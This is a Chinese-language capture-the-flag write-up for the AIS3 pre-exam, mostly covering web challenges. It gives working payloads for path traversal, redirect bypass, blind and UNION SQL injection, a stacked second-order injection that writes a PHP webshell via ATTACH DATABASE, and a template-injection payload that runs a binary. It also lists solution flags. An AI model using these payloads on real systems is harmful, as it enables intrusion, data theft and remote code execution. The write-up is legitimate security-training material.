這次 pre-exam 獲得34名的成績,雖然解出的題目不是 Web 就是 Web 相關的,技能全點在 Web 上了,但所幸解開了兩題高分題,獲得了不少分數。


# Misc
Misc 有點慘,除了 welcome ,只解出了與 web 相關的一題。
---
### Welcome
這題直接照著打就可以了,略。
flag:
`AIS3{Welcom_And_Enjoy_The_CTF_!}`
---
### AIS3 TinyServer-Web/Misc
這題把給的伺服器檔案逆向後發現有路徑穿越問題,可以用`..%2f..%2f..%2f`造成路徑穿越,穿越到根目錄就可以看到 flag 所在檔案,訪問就可以拿到 flag 了。
payload:
`..%2f..%2f..%2freadable_flag_FppSPP4sD3dlc4zF1vW74AOXBwnmZv6u`
flag:
`AIS3{tInY_We8_S3Rv3R_WItH_FILe_8ROWs1nG_@S_@_FeAtuRE}`
# rev
rev 也只解開了一題 Web 相關...
---
### web flag check
這題攔截請求發現 check 時沒有任何請求送出,大概就知道是前端題目了,f12 打開看,可以看到一個 index.wasm,載下來後用 wasm-decompil 反編譯,找到關鍵的 flagchecker 部分丟給 ChatGPT 就解開了。
flag:
`AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}`
# Web
### Tomorin db
這題基本送分,flag 位於 /flag,但根據 source code 可以知道,直接訪問 /flag 會被跳轉,但只要`GET /.%2fflag`就可以繞過。
```
func main() {
http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
})
http.ListenAndServe(":30000", nil)
}
```
flag:
`AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}`
---
### Login Screen 1
這題算送分,解法非常多,一開始沒放 source code 時,是先猜測發現弱密碼 admin/admin,再透過對登入的 username 欄位 boolean 盲注拚出 2FA code,獲得 FLAG1。
Payload:
一開始想透過 hex(zeroblob()) 進行大量運算造成時間盲注,但後來發現這樣可能會有 Dos 或網路延遲的誤差,所以透過 hex(zeroblob(10000000000)) 去分配超過上限的記憶體,以此報錯來判斷 boolean,最終拼出 2FA code 登入 admin 獲得 FLAG1。
```
先確認 admin 的 2FA code 長度
admin' AND CASE WHEN length(code)=20 THEN hex(zeroblob(10000000)) ELSE 1 END --
確認長度後開始逐字猜測 0~9 。
admin' AND CASE WHEN substr(code,20,1)='' THEN hex(zeroblob(10000000000)) ELSE 1 END --
```
後來開放 source code 後我看到 docker-compose.yml,內容:
```
services:
cms:
build: ./cms
ports:
- "36368:80"
volumes:
- ./cms/html/2fa.php:/var/www/html/2fa.php:ro
- ./cms/html/dashboard.php:/var/www/html/dashboard.php:ro
- ./cms/html/index.php:/var/www/html/index.php:ro
- ./cms/html/init.php:/var/www/html/init.php:ro
- ./cms/html/logout.php:/var/www/html/logout.php:ro
- ./cms/html/users.db:/var/www/html/users.db:ro
- ./cms/html/styles.css:/var/www/html/styles.css:ro
environment:
- FLAG1=AIS3{1.This_is_the_first_test_flag}
- FLAG2=AIS3{2.This_is_the_second_test_flag}
```
以下這一行是重點:
``` - ./cms/html/users.db:/var/www/html/users.db:ro```
代表 users.db 也在網站目錄下且唯讀,也就是說直接訪問 /users.db 就可以下載資料庫了,也就直接拿到 2FA code。

當然,也可以透過 UNION 語法,自訂一組帳密和 2FA,只要帳號名稱是 admin,例如帳號輸入:
```
'UNION SELECT 3,'admin','$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC',0 from users
```
密碼輸入 admin,2FA 輸入 0,就可以獲得 FLAG1了。
flag:
`AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}`
---
### Login Screen 2
這題重點在第二個注入點,2fa.php 的 SQL 查詢其實存在注入點:
```
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$code = $_POST['code'];
$username = $_SESSION['username'];
$result = $db->exec("SELECT * FROM users WHERE username = '$username'");
```
這裡的 $username 是直接從 session 取值,因不是我們控制的輸入,看起來似乎沒有辦法造成注入,但實際上 $username 可控,因為 $_SESSION['username'] 是根據在 index.php 登入時輸入的 username 作為 session,也就是說我們在登入時輸入的 SQLi Payload 可以在 2FA 進行二次注入。
而這兩次注入是有差別的,index.php 使用的是 prepare(),而 2fa.php 使用的是 exec()。。
```
$stmt = $db->prepare("SELECT * FROM Users WHERE username = '$username'");
$result = $stmt->execute();
$user = $result->fetchArray();
```
這差異導致 2fa.php 的注入點可以進行更多的操作,因 exec() 是允許多行 SQL 語句的,也就是可以用`;`進行堆疊注入。
舉例來說,在 index.php 我們輸入:
```
' UNION SELECT 1,'admin','$2y$10$T4An1Vtmy1McstMXH3pyxu0rvl6PY4asZr5PJCzA2XGyBbCLccsCa','000000'; ATTACH DATABASE '/var/www/html/shell.php' AS p; …
```
第一個`;`後的語句會被註解掉,也就是 ATTACH DATABASE 以後的內容都無法執行。但我們透過構建 UNION SELECT 登入獲得 session 後,整段 SQLi Payload 都會被存入 session,並在 2FA 驗證時觸發後續的多行語句,而我們可以使用 ATTACH DATABASE 寫入 webshell 造成 RCE,再讀取環境變數獲得 FLAG2。
Payload:
```
'UNION SELECT 1,'admin','$2y$10$Hf11AOUj8lw13DogTnS3aOvjD1hPnfsOx8qMKZzG8dGCWujtTRvBC',0;
ATTACH DATABASE '/var/www/html/shell.php' AS p;
CREATE TABLE IF NOT EXISTS p.webshell(code TEXT);
DELETE FROM p.webshell;
INSERT INTO p.webshell VALUES('<?php system("$_GET[cmd]"); ?>');
--
```
flag:
`AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}`
---
### :cat: cat
這題相信很多人都被 command injection 誤導了,實際上是 SSTI 加上 Apache Rewrite 與 Action 的漏洞,但我打出了一個非預期解,這裡我先講解非預期解。
首先我 fuzz 測試輸入,發現如```; & | ` $```等被限制,但`< > { } [ ] ( ) ? *`等可以使用,而當我輸入 * 時可以讀到 source code,其中有兩個重點,分別為黑名單:
```
{% if a in [";","&","|","","$","#","=","!",".","\n","\r"] %}
```
以及命令執行的 shell:
```
,{{ os.popen("echo | env -i cat " + catfile).buffer.read().decode('utf8', 'ignore') }}
```
並且觀察到網站是模板,推測可能不是 Command injection 而是 SSTI,於是我嘗試用 2> 將 {{7*7}} 寫入檔案,例如:
```
cat {{7*7}} 2> test
```
因伺服器找不到檔案 {{7*7}},錯誤訊息被重導向輸出到 test,我們訪問或用 cat 讀取 test 可以看到純文字內容:
```
cat: '{{7*7}}': No such file or directory
```
寫入的檔案沒有被當模板渲染,所以後續我繼續 fuzzing,讀取到 apache 的 conf 發現有以下設定:
```
RewriteRule ^(.+.cat)$ - [H=application/x-httpd-cat,END]
Action application/x-httpd-cat /cgi-bin/render
```
簡單來說,伺服器會把 .cat 檔案交給 /cgi-bin/render 處理,render 會渲染模板,也就是說我寫入的檔案名稱必須是 .cat 結尾。
但問題是我們的輸入禁止含有`.`,無法使用 `cat {{7*7}} 2> test.cat` 寫入 .cat 檔案,我們也沒有 index.cat 的寫入權限,所以無法將錯誤訊息追加寫入 index.cat。
之後我又找到伺服器的 ScriptAlias 設定:
```
<IfDefine ENABLE_USR_LIB_CGI_BIN>
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Require all granted
</Directory>
</IfDefine>
```
發現可以透過 GET /cgi-bin/render/xxx,將網站目錄下任意檔名的檔案直接丟給 render 處理,進行模板渲染,繞過 Rewrite 與 Action 規則。
成功造成 SSTI 後,就是構建不需要禁止字元也能執行 /readflag 的 payload,以下是我的 payload:
```
'{{ (builtins["__"+"import__"])("subprocess")["Popen"](["/readflag"], **{"stdout":-1})["communicate"]()[0] }}' 2> test
```
需要注意的是,雖然單引號沒有被禁止,但shell在寫入單引號或反斜線時會做轉義,會導致原本的 payload 被破壞,所以無法使用單引號,因此我改用雙引號構建 payload ,並在輸入時用單引號包裹,變成一串純字串,再將 payload 透過 2> 寫入 test 後,最終 GET /cgi-bin/render/test 就可以拿到 flag 了。
另外這一題的預期解其實在 RewriteRule 這一行:
```
RewriteRule ^(.+.cat)$ - [H=application/x-httpd-cat,END]
```
regex 規則 `^(.+.cat)$` 有漏洞,檔案名稱可以是 abccat、xcat 等,只要是 cat 結尾就可以通過 regex 對比,被送給 render 處理。
flag:
`AIS3{mEoW~m3Ow~Me0W~m30W~M3ow~M3OW~524368e6a58cac99}`